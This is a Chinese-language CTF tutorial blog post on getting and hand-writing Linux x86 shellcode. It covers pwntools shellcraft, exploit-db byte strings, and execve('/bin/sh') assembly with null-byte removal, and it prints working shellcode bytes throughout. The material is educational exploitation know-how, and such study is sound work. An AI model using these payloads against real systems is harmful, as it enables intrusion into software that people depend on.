PWN-shellcode获取与编写

当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。
而shellcode该怎么获得呢?

一、获取集成写好的

1.From pwntools

(1)先设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

(2)获取shellcode
1)获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())
具体利用如下:

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())

2.利用别人写好的。如exploit-db

利用搜索引擎检索别人写好的可以直接来用的 shellcode。
https://coding.net/u/yihangwang/p/shellcode_spider/git ,。
这是一个 python 爬取 exploit-db 上所有 shellcode 的库。
1)sh对应的shellcode

shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"

二、自己写

或者可以用msf生成,或者自己反编译一下。

这里写图片描述

这里我们使用一段最简单的执行execve (“/bin/sh”)命令的语句作为shellcode。

以写一个execve(“/bin/sh”)为例子。
在当前位置执行”/bin/sh”,可以用execve(“/bin/sh”,0,0)
C语言利用代码:

#include "stdlib.h"
#include "unistd.h"
char *buf[]={"/bin/sh",NULL};
void main()
{
    execve("/bin/sh",buf,NULL);
    exit(0);
}

execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
execve()对应的中断向量表为:0x0b,对应eax
可以通过http://syscalls.kernelgrok.com/网站来查询
这里写图片描述
所以我们要做的就是写一个执行execve的汇编代码。

这里不得不提一下int 0x80软中断调用。
第一步,就是需要将系统调用号加入到eax中。
第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。
如果参数超过5个,就必须将参数数组存储在内存中,而且必须将该数组的地址放在ebx中。
一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工作并处理该中断。

OK,那我们知道汇编代码的最后一步
mov al,0xb
int 0x80
具体会被代码如下:
构造一个
execve(“/bin/sh”,0,NULL);

global _start
_start:
xor eax,eax  //eax置0
xor edx,edx  //edx置0
push edx
push "/sh"
push "/bin"   //将/bin/sh入栈
mov ebx,esp   //ebx指向/bin/sh这个字符串
xor ecx,ecx
mov al,0Bh    //eax置为execve函数的中断号
int 80h       //调用软中断

运用
nasm -f elf32 文件名.asm
ld -m elf_i386 -o 文件名 文件名.o
objdump -o 文件名
获得汇编的机器码,如下。
这里写图片描述
我们可以看到上图画线处有\00,shellcode在使用时遇到\00会被截断,所以我们要避免出现/x00字节,我们知道00是出现在/bin/sh那里的,重新修改我们的汇编程序:

global _start
_start:
xor eax,eax
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor ecx,ecx
mov al,0Bh
int 80h

在终端中”/bin/sh”和”/bin//sh”的效果是一样的。
执行后如下:
这里写图片描述
所以shellcode就是:

shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

参考文章:
http://blog.csdn.net/qq_29343201/article/details/51337025
http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/
http://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.11.MtR4jX&articleid=403
http://blog.csdn.net/qq_29947311/article/details/63680810
https://www.cnblogs.com/elvirangel/p/6974580.html
https://www.jianshu.com/p/d267577c7af1

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 技术黑板 设计师:CSDN官方博客 返回首页